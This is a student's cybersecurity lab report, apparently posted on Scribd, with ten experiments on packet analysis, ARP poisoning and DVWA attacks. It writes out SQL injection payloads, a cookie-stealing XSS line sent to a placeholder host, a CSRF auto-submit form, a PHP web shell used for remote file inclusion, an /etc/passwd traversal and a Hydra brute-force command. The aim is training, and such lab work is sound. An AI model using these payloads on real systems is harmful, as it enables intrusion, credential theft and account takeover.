0% found this document useful (0 votes)
15 views30 pages

Cyber Security Final

Uploaded by

chill house
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
15 views30 pages

Cyber Security Final

Uploaded by

chill house
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 30

EXPERIMENT 1

OBJECTIVE ;
Basic Packet Inspection: Capture network traffic using Wireshark and analyse basic
protocolslikeHTTP,DNS,andSMTPtounderstandhowdataistransmittedandreceived

THEORY ;
The basic tool for observing the messages exchanged between executing protocol entities iscalled a
packet sniffer. As the name suggests, apacket sniffer captures (“sniffs”) messagesbeing
sent/receivedfrom/byyourcomputer;itwillalsotypicallystoreand/ordisplaythecontents of the various
protocol fields in these captured messages. A packet sniffer itself
ispassive.Itobservesmessagesbeingsentandreceivedbyapplicationsandprotocolsrunningonyourcompu
ter,butneversendspacketsitself.Similarly,receivedpacketsareneverexplicitly addressed tothepacket
sniffer. Instead, a packet sniffer receives a copy of
packetsthataresent/receivedfrom/byapplicationandprotocolsexecutingonyourmachine.
Thepacket capturelibrary receives acopy of every link-layer framethat issent from
orreceivedbyyourcomputer.ThemessagesexchangedbyhigherlayerprotocolssuchasHTTP,FTP,TCP,UDP
, DNS, or IP all are eventually encapsulated inlink-layer frames thatare transmitted over physical
mediasuch as an Ethernet cable. The assumed physical media isan Ethernet, and so all upper-layer
protocols are eventually encapsulated within an Ethernet frame. Capturing all link-layer frames thus
gives you all messages sent/received from/by all protocols and application executing in your
computer.

PROCEDURE ;
 OpenWireshark
 SelecttheEthernet/WIFIoptiontoanalysethenetworkactivity
 Startthecaptureandwaitforsometime
 Afterconsiderablenumberofpacketsarecapturedstopthecapture
 ApplythefilterofHTTP,DNSandSMTPandanalysethefilterednetwork
OUTPUT :

1 2200971540043
Fig1.1CapturedPackets

Fig1.2ApplyingDNSfilter

Fig1.3ApplyingHTTPfilter

EXPERIMENT 2

OBJECTIVE ;
Detecting SuspiciousActivity:Analysenetworktrafficto identify
Suspiciouspatterns,suchasrepeatedconnectionattemptsorunusualcommunicationbetweenhosts.

THEORY :
Wiresharkisapowerfultoolforcapturingandanalyzingnetworktraffictoidentifysuspiciousactivity.Here'saq
uickguide:

2 2200971540043
Key concept :
Packets:Dataunitstransmittedoveranetwork.Protocols:Commu
nicationrules(e.g.,TCP,HTTP).
CaptureFilters:Setbeforedatacapturetorestrictrecordedtraffic.DisplayFilters:App
liedpost-capturetonarrowdownresults.
DetectingSuspiciousPatterns

1. RepeatedConnectionAttempts:
Indicates:Brute-forceattacksorportscans.
2. UnusualCommunicationBetweenHosts:
Indicates:Compromisedsystemsorunauthorizeddatatransfers.
Filter:http.request|| http.response.
3. DataExfiltration:
Indicates:Unauthorizeddatatransferoutofthenetwork.
Filter:ip.src==<your-network-ip>&&ip.len>1500

PROCEDURE :

 Capturetherequirednumberofpackets
 Applythehttpfilterandcheckthehttpprotocol
 Rightclicktheselectedpacketandgotofollowandthenfollowthehttpstreamtofindoutmoreabout
therequest
 Alsocheckotherfilterslikehttp.request||http.responsetocheckfortransferofunauthoriseddata

OUTPUT :

3 2200971540043
Fig2.1 Applying http filter and following the http stream for more information.

Fig2.2 Applying the http.request || http.response filter to check for unauthorized data
transfer .

EXPERIMENT 3
OBJECTIVE ;

4 2200971540043
MalwareTrafficAnalysis:Analysecapturedtraffictoidentifysignsofmalwarecommunication,suchascomma
nd-andcontroltrafficordatainfiltration.

THEORY :
Wiresharkisaleading
networkprotocolanalyserthatcanbeusedtodetectandanalysemalwarecommunicationwithinnetworktr
affic.Identifyingsignsofmalware,suchascommand-and-
control(C2)trafficordataexfiltration,iscrucialformaintainingnetworksecurity.

Key concept :
 MalwareTraffic:Networkactivitygeneratedbymalicioussoftware,includingcommunicationwith
externalservers,dataexfiltration,andspreadingwithinthenetwork.
 Command-and-Control(C2):Communicationbetweeninfectedsystemsandthe malware’s
control server,used to receive instruction or exfiltrate data.
 Indicators of Compromise (IoCs): Observableartifacts that suggest a network hasbeen
compromised, such as specific IP addresses, domain names, or unusual trafficpatterns.
C2 traffic often involves repeated connections to suspicious domains or IP addresses,
usingunusualportsorencryptedcommunication.TodetectC2traffic:

 Identifyanomalies:Lookfortraffictorareorunknownexternaladdresses.
 AnalyseDNSqueries:CheckforfrequentorunusualDNSrequests,indicatingdomaingenerationalg
orithms(DGAs)usedbymalware.

Malwareoften exfiltratesdata toexternalservers.This can bedetected by monitoring


forlargeorunusualdatatransfers,especiallytoexternalIPs.
Malwaremayuseuncommonprotocolsorports,andcreateabnormaltrafficvolumesorpatterns.

PROCEDURE :
 Captureasufficientamountofpacketdata
 Findtheinfectedurl/hashes
 Findtheinfectedwebsiteipaddress
 Findtheinfectedmachineipaddress
 Findthehostnameoftheinfectedmachine
 Findthemacaddressoftheinfectedmachine

5 2200971540043
OUTPUT :

Fig3.1Informationofthemalwarewebsite(packetinformationtakenfromthe malware-
traffic-analysis.net)

EXPERIMENT 4

OBJECTIVE ;

6 2200971540043
Password Sniffing: Simulate a scenario where a password is transmitted in plain text.
UseWiresharktocaptureandanalysethepacketstodemonstratethevulnerabilityandtheimportance
ofencryption.

THEORY :
Passwordsniffinginvolvesinterceptingplaintextpasswordsonanetwork.Thisscenariodemonstrates the
vulnerability of unencrypted passwords and underscores the importance
ofencryptionusingWireshark.

Setup:Userlogsinwithaplaintextpassword.

CaptureTraffic:

 StartWireshark:Captureonthenetworkinterface.
 FilterTraffic:Usehttp.request.method==“post”tofocusonloginpackets.
 AnalyzePackets
o dentifythePOSTrequestwithlogincredentials.
o Inspectthepackettofindtheplaintextusernameandpassword.
There are several websites which don’t employee the best method of security and save thepasswords
in simple text which can be sniffed using wireshark. A good security measure is toconvert the
password into hashes and then store the hashes, so when the user types in thepasswordthehashesare
beingmatchedinsteadofsimpleplaintext.
Evenifthewe try to sniff using thewireshark weget hashes instead of plain password
andit’sverydifficulttodecryptthepasswordwhenwedon’thavemuchknowledgeaboutencryptionpatterno
fthe hashes.

PROCEDURE :
 Startcapturingpackets
 Gotosomewebsitewhichdoesn’tuseproperencryptionorgototestingsitelike“testphp.vulnweb,
com”
 Typeintheuseridandpassword
 Stopthecapture
 Applethehttp.request.method==”post”filter
 Selecttheipaddressofthewebsite
 GoandchecktheHTMLformURLencodedinformationanditwillhaveuseridandpassword

OUTPUT :

7 2200971540043
Fig4.1Puttinginformationinnon-secured website

Fig4.2Checking User id and Password info after applying filter.

EXPERIMENT 5

OBJECTIVE ;
ARPPoisoningAttack:SetupanARPpoisoningattackusingtoolslikeEttercap.Analyzethecapturedpacket
stounderstandhowtheattackcanleadtoaMan-in-the-Middlescenario.

THEORY :
Ettercapisacomprehensivesuiteforman-in-the-
middle(MitM)attacks.Itsupportssniffingofliveconnections,contentfilteringonthefly,andvariousotherfe

8 2200971540043
aturesfornetworkandhostanalysis.

PROCEDURE :
• ChooseanOperatingSystem
• TurnOffFirewallandTurnOnNetworkSharingSettings
• FindIPv4AddressesandEnableKaliIPForwarding
• EnableUnifiedSniffing
• ConfigureYourTarget
• clickon"Targets"andaddthegatewayIPv4addressasthefirsttarget.
• hevictim'sIPv4addressasthesecondtarget

Clickonthe"Mitm"tabandselect"ARPpoisoning."

OUTPUT :

Fig1:OpenEttercap

Fig2:FindtheNetworkInterface

9 2200971540043
Fig3:FindMITMoptionandStartit.

EXPERIMENT6

Objective:
SQL Injection: Use DVWA to practice SQL injection attacks. Demonstrate how an attacker can manipulate
input fields to extract, modify, or delete database information.

Methodology:
A SQL injection attack consists of the insertion or "injection" of a SQL query via the input data from the
client to the application.
A successful SQL injection can read sensitive data from the database, modify database data
(Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS),
recover the content of a given file present on the DBMS file system and in some cases issue
commands to the operating system.

Threat Modeling:
SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues
such as voiding transactions or changing balances, allow the complete disclosure of all data on the system,
destroy the data or make it otherwise unavailable, and become administrators of the
database server.
SQL Injection is very common with PHP and ASP applications due to the prevalence of olderfunctional
interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less
likely to have easily exploited SQL injections.
The attacker's skill and imagination limit the severity of SQL Injection attacks and, to a lesser extent,
defense in depth countermeasures, such as low privilege connections to the database server.
In general, consider SQL Injection a high impact severity.

How to carry out SQL Injection Attack?


We are given a UserID prompt and submit button.

10 2200971540043
Query:
Five users in the database, with IDs from 1 to 5 your mission... to steal their passwords via SQLi.

Source code:
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {


// Get input
$id = $_REQUEST[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' .
((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) :
(($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user


echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:

11 2200971540043
global $sqlite_db_connection;

#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);


#$sqlite_db_connection->enableExceptions(true);

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";


#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {

// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user


echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

We can see that in this line: $id = $_REQUEST[ 'id' ]; This is where user input will be stored, and the
following query will be run.
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
Let's replace $id with a 1, so we will have the following query
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1';";
The query will retrieve only the person with a user_id of 1. But what we can do to run an extra command is
by doing the following:
1' or 1 = '1
This is what it would look like in the query.
SELECT first_name, last_name FROM users where user_id = '1'' or 1 = '1
What the command is doing is returning one or returning everything in the table.
You get the following:

12 2200971540043
Side note:
you can check for SQL vulnerabilities by inputting a quote. If a database has an sql vulnerability,
it will throw an error message, or an error msg will not appear, which leads to a sql injection (blind).
An error msg for MySQL could be something like this: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line
1, or it could be like a redirection to an empty page.

Another query we can do is:


' UNION SELECT user, password FROM users#
This retrieves the user and password from the user's table and (#) comment the rest of the line.
This is the screenshot username and the user's password hash.

Medium:
We are given the following:

13 2200971540043
This is the source code we're provided:
<?php

if( isset( $_POST[ 'Submit' ] ) ) {


// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

switch ($_DVWA['SQLI_DB']) {
case MYSQL:

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";


$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' .
mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user


echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";


#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();

14 2200971540043
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user


echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

// This is used later on in the index.php page


// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' .
((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) :
(($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

The most important line is:

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";


We can see that variable id is not covered in quotes anymore. So, we can execute a SQL attack using the
following: 1 or 1=1 UNION SELECT user, password from users#
So what we're going do is inspect the element of 1

Replace the value to 1 or 1=1 UNION SELECT user, password from users#

15 2200971540043
Then click Submit.

As you can see, the injection work.

High
This is what we're given.

Source code:

16 2200971540043
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went
wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user


echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false :


$___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user


echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();

17 2200971540043
}
break;
}
}

?>
As we can see, the query starts using quotes again.
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
To exploit this, we will be using the following:
1' UNION SELECT user, password from users#

-----------------------------------------------------------------------------------------------------------

Experiment 7

Objective:
Cross-Site Scripting (XSS): Exploit XSS vulnerabilities in DVWA to inject malicious
scripts into web pages.
Show the potential impact of XSS attacks, such as stealing cookies or defacing websites.
Cross-Site Scripting: XSS Cheat Sheet, Preventing XSS

Cross-site scripting attacks, also called XSS attacks, are a type of injection attack that injects malicious code
into otherwise safe websites. An attacker will use a flaw in a target web application to send some kind of
malicious code, most commonly client-side JavaScript, to
web applications can leave the door open for XSS attacks if they display content from users or untrusted
sources without proper escaping or validation.

XSS vulnerabilities are one of the OWASP Top 10 security concerns today, especially as so many
organizations rely heavily on web applications for customer interaction and validation. However, by writing
secure code, testing for vulnerabilities, and working with security tools like Veracode Dynamic Analysis,
developers can prevent, detect, and repair potential vulnerabilities allowing for XSS exploitation.

18 2200971540043
What is Cross Site Scripting (XSS)?
execute. Most commonly, this is a combination of HTML and XSS provided by the attacker, but XSS can also
be used to deliver malicious downloads, plugins, or media content. An attacker is able to trick a web
application this way when the web application permits data from an untrusted source --such as data
entered in a form by users or passed to an API endpoint by client software --to be displayed to users
without being properly escaped.

Because XSS can allow untrusted users to execute code in the browser of trusted users and access some
typesof data, such as session cookies, an XSS vulnerability may allow an attacker to take data from users
and
dynamically include it in web pages and take control of a site or an application if an administrative or a
privileged user is targeted.

Malicious content delivered through XSS may be displayed instantly or every time a page is loaded or a
specific event is performed. XSS attacks aim to target the users of a web application, and they may be
particularly effective because they appear within a trusted site.

Key Concepts of XSS:


XSS is a web-based attack performed on vulnerable web applications.
In XSS attacks, the victim is the user and not the application.
In XSS attacks, malicious content is delivered to users using JavaScript.

XSS Attack Examples:


Persistent XSS
Also known as stored XSS, this type of vulnerability occurs when untrusted or unverified user input is stored
on a target server. Common targets for persistent XSS include message forums, comment fields, or visitor
logs--any feature where other users, either authenticated or non-authenticatedwill view the attacker’s
malicious content. Publicly visible profile pages, like those common on social media sites and membership
groups, are one good example of a desirable target for persistent XSS. The attacker may enter malicious
scripts in the profile boxes, and when other users visit the profile, their browser will execute the code
automatically.

Reflective XSS
On the other hand, reflected or non-persistent cross-site scripting involves the immediate return of user
input. To exploit a reflective XSS, an attacker must trick the user into sending data to the target site, which
is often done by tricking the user into clicking a maliciously crafted link. In many cases, reflective XSS

19 2200971540043
attacks rely on phishing emails or shortened or otherwise obscured URLs sent to the targeted user. When
the victim visits the link, the script automatically executes in their browser.
Search results and error message pages are two common targets for reflected XSS. They often send
unmodified user input as part of the response without ensuring that the data is properly escaped so that it
is displayed safely in the browser.

DOM-Based XSS
DOM-based cross-site scripting, also called client-side XSS, has some similarity to reflected XSS as it is often
delivered through a malicious URL that contains a damaging script. However, rather than including the
payload in the HTTP response of a trusted site, the attack is executed entirely in the browser by modifying
the DOM or Document Object Model. This targets the failure of legitimate JavaScript already on the page to
properly sanitize user input.
XSS Examples with Code Snippets:
Example 1.
For example, the HTML snippet:

<title>Example document: %(title)</title>

is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in
the following HTML to be emitted to the browser:

<title>Example document: XSS Doc</title>

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking
something like this:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

sitting on the other end, at the web server, you will be receiving hits where after a double space is the
user's
cookie. If an administrator clicks the link, an attacker could steal the session ID and hijack the session.

20 2200971540043
Example 2.
Suppose there's a URL on Google's site, http://www.google.com/search?q=flowers, which returns HTML
documents containing the fragment

<p>Your search for 'flowers' returned the following results:</p>

i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that
the data is not validated, filtered or escaped. Evil.org could put up a page that causes the following URL to
be loaded in the browser (e.g., in an invisible<iframe>):

http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E

When a victim loads this page from www.evil.org, the browser will load the iframe from the URL above.
The document loaded into the iframe will now contain the fragment

<p>Your search for 'flowers <script>evil_script()</script>'

returned the following results:</p>

Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the
context of a page loaded from www.google.com.

Impact of Cross Site Scripting XSS:


When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They
can also spread web worms or access the user’s computer and view the user’s browser history or control
th intranet applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:
Hijack an account.
Spread web worms.
Access browser history and clipboard contents.
Control the browser remotely.
Scan and exploit intranet appliances and applications.

Identifying Cross-Site Scripting Vulnerabilities:


XSS vulnerabilities may occur if:
Input coming into web applications is not validated
Output to the browser is not HTML encoded

Detecting and Preventing XSS Vulnerabilities:


XSS vulnerabilities can be prevented by consistently using secure coding practices. Our
Veracode vulnerability decoder provides useful guidelines for avoiding XSS-based attacks. By
ensuring that all input that comes in from user forms, search fields, or submission requests is properly
escaped, developers can prevent their applications from being misused by attackers.

Cross-site scripting prevention should be part of your development process, but there are steps you
can take throughout each part of production that can detect potential vulnerabilities and prevent
attacks.

21 2200971540043
Resources for Cross-Site Scripting Prevention:
Crossalready well into production there are still several cross-site prevention steps you can take to prevent
an attack.

----------------------------------------------------------------------------------------------------------------------------------------------
-

Experiment 8

Objective:
Cross-Site Request Forgery (CSRF): Set up a CSRF attack in DVWA to demonstrate how attackers
can manipulate authenticated users into performing unintended actions.

Cross-site request forgery (CSRF)

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF
vulnerabilities, and explain how to prevent CSRF attacks.

What is CSRF?
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to
induce users to perform actions that they do not intend to perform. It allows an attacker to partly
circumvent
the same origin policy, which is designed to prevent different websites from interfering with each other.

What is the impact of a CSRF attack?


In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For

22 2200971540043
example, this might be to change the email address on their account, to change their password, or to make
a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over
the user's account. If the compromised user has a privileged role within the application, then the attacker
might be able to take full control of all the application's data and functionality.

How does CSRF work?


For a CSRF attack to be possible, three key conditions must be in place:

A relevant action.
There is an action within the application that the attacker has a reason to induce.
This might be a privileged action (such as modifying permissions for other users) or any action on
user-specific data (such as changing the user's own password).

Cookie-based session handling.


Performing the action involves issuing one or more HTTP requests, and the application relies solely on
session cookies to identify the user who has made the requests. There is no other mechanism in place for
tracking sessions or validating user requests.

No unpredictable request parameters.


The requests that perform the action do not contain any parameters whose values the attacker cannot
determine or guess. For example, when causing a user to change their password, the function is not
vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on
their
account. When a user performs this action, they make an HTTP request like the following:

POST /email/change HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

[email protected]

This meets the conditions required for CSRF:


The action of changing the email address on a user's account is of interest to an attacker. Following
this action, the attacker will typically be able to trigger a password reset and take full control of the
user's account.

The application uses a session cookie to identify which user issued the request. There are no other
tokens or mechanisms in place to track user sessions.

The attacker can easily determine the values of the request parameters that are needed to perform the
action.

23 2200971540043
With these conditions in place, the attacker can construct a web page containing the following HTML:
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
If a victim user visits the attacker's web page, the following will happen:

The attacker's page will trigger an HTTP request to the vulnerable website.

If the user is logged in to the vulnerable website, their browser will automatically include their
session cookie in the request (assuming SameSite cookies are not being used).

The vulnerable website will process the request in the normal way, treat it as having been made by
the victim user, and change their email address.

Note:
Although CSRF is normally described in relation to cookie-based session handling, it also arises in other
contexts where the application automatically adds some user credentials to requests, such as HTTP Basic
authentication and certificate-based authentication.

How to construct a CSRF attack?


Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired
request contains a large number of parameters, or there are other quirks in the request. The easiest way to
construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

Select a request anywhere in Burp Suite Professional that you want to test or exploit.

From the right-click context menu, select Engagement tools / Generate CSRF PoC.

Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which
will be added automatically by the victim's browser).

You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You
might need to do this in some unusual situations to deal with quirky features of requests.

Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable
website, and test whether the intended request is issued successfully and the desired action occurs.

----------------------------------------------------------------------------------------------------------------------------------------------
-

24 2200971540043
Experiment 9

Objective:
File Inclusion Vulnerabilities: Explore remote and local file inclusion vulnerabilities in DVWA. Show
Howattackers can include malicious files on a server and execute arbitrary code.

Damn Vulnerable Web Application (DVWA) is an intentionally vulnerable web application written in
PHP/MySQL. It is designed to help security professionals, students, and web developers learn about and
practice various web security concepts and techniques in a controlled and legal environment. The primary
goal of DVWA is to provide a platform where users can safely practice their hacking skills and improve their
knowledge of web security vulnerabilities.

Prerequisites:
Install DVWA:
Set up a web server with PHP and MySQL. You can use XAMPP, WAMP, or a Linux server with Apache, PHP,
and MySQL installed.
Download DVWA from GitHub.
Extract the files into the web root directory (e.g., htdocs for XAMPP).
Configure the config/config.inc.php file with your database credentials.
Access DVWA in your browser and complete the setup by navigating to the setup page.

Configure DVWA Security Level:


Log in to DVWA.
Set the security level to "Low" for easier exploitation.

Steps to Explore Local File Inclusion (LFI)


Local File Inclusion (LFI) allows an attacker to include files that are already present on the target server.

Access the LFI Page:


Navigate to the "File Inclusion" section of DVWA.

Understand the Vulnerable Parameter:


Identify the parameter in the URL used to include files. It might look like
http://localhost/dvwa/vulnerabilities/fi/?page=include.php.

Perform LFI Attack:


Try including a local file, such as /etc/passwd on Linux.
Modify the URL to http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd.
You should see the contents of the /etc/passwd file if the server is vulnerable.

Steps to Explore Remote File Inclusion (RFI):


Remote File Inclusion (RFI) allows an attacker to include a file from a remote server.

Access the RFI Page:


Navigate to the "File Inclusion" section of DVWA (same as LFI).

Host a Malicious Script:


Create a simple PHP script (e.g., malicious.php) with the following content:

25 2200971540043
<?php
echo "Malicious Code Executed!";
system($_GET['cmd']);
?>
Host this file on a web server you control.

Perform RFI Attack:


Modify the URL to include the remote file. For example:
http://localhost/dvwa/vulnerabilities/fi/?page=http://your-malicious-server/malicious.php

If successful, you should see "Malicious Code Executed!" on the DVWA page.
Execute arbitrary commands by passing them as parameters:

http://localhost/dvwa/vulnerabilities/fi/?page=http://your-malicious-server/malicious.php&cmd=ls

Mitigations:
Input Validation and Sanitization:
Always validate and sanitize user inputs. Ensure that only expected file paths are allowed.

Disable Remote File Inclusion:


Set allow_url_include to Off in php.ini.

Use Whitelists:
Implement whitelists for files that can be included.

Update and Patch:


Regularly update your web server and applications to patch known vulnerabilities.

By following these steps, you can explore and understand how attackers exploit file inclusion vulnerabilities
and how to defend against such attacks. Always perform these exercises in a controlled, legal environment
such as DVWA to avoid legal issues and potential harm to real systems.

----------------------------------------------------------------------------------------------------------------------------------------------
-

Experiment 10

Objective:
Brute-Force and Dictionary Attacks: Use DVWA to simulate login pages and demonstrate brute
forceand dictionary attacks against weak passwords. Emphasize the importance of strong password
policies.

Modern brute force attacks cancrack 8-characters alphanumeric password in just a mere 2 hours, while
more
advanced encryption hashes can be cracked in a few months. This can be achieved by performing
exhaustive
key search, in which the computer will try every possible combination of every single possible character in

26 2200971540043
order to find the right combination of characters as the password. For the purpose of this demonstration, I
will be setting up the Damn Vulnerable Web Application (DVWA) to simulate a brute force attack.

Brute-Force and Dictionary Attack Setup


Login to DVWA:
Open your web browser and navigate to http://localhost/dvwa.
Log in using the default credentials (admin / password).

Navigate to the Brute Force Section:


From the DVWA menu, select the "Brute Force" option.

The attack will utilize Hydra as a Parallelized login cracker and the “rockyou.txt” wordlist that will be
demonstrated on the login form below.

Open a Burp Suite Browser and direct it to the DVWA page, which will look exactly like the one on a regular
browser. Now, try logging in using a random password. For this attempt, the username”admin” and
password“admin123” was used. For Bump Suite to scan the web application, turn on the Intercept mode
right before clicking in the “Login” button.

The credentials entered wre wrong, displaying an error message saying, “Username and/or password
incorrect”. Now, head back to Burp Suite and view the raw data of the connection request.

27 2200971540043
Through this, we have gathered several more information that may be useful (e.g., session cookies,
parameters of the request). The following table includes all the gathered information:

The next step is to use Hydra to crack the account password. There is no fixed format to Hydra’s command
as it will depend on the elements and/or information known to the pentester (e.g., username, hostname,
URL service, and cookies). Considering the list of disclosed information and available parameters obtained
during the vulnerability assessment step utilizing Burp Suite, the command used for this demonstration will

28 2200971540043
be:
hydra 127.0.0.1 -l admin -P /usr/share/wordlists/rockyou.txt http-get-form
"/dvwa/vulnerabilities/
brute:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:PHPSESSID=9cei1q7s10h39gdp538to
6f3ut;security=low:F=Username and/or password incorrect."

With the incorporation of all the elements and components listed on the table, Hydra will systematically
attempt the various combination of passwords from the ‘rockyou.txt’ wordlist in an attempt to crack the
password for the “admin” account.

The result of the attack reveals the password to be “password”, which will show that the login is successful,
hence concluding the demonstration.

By performing brute-force and dictionary attacks using DVWA, you can see firsthand how weak passwords
can be exploited. This underscores the importance of strong password policies and additional security
measures

29 2200971540043
30 2200971540043

You might also like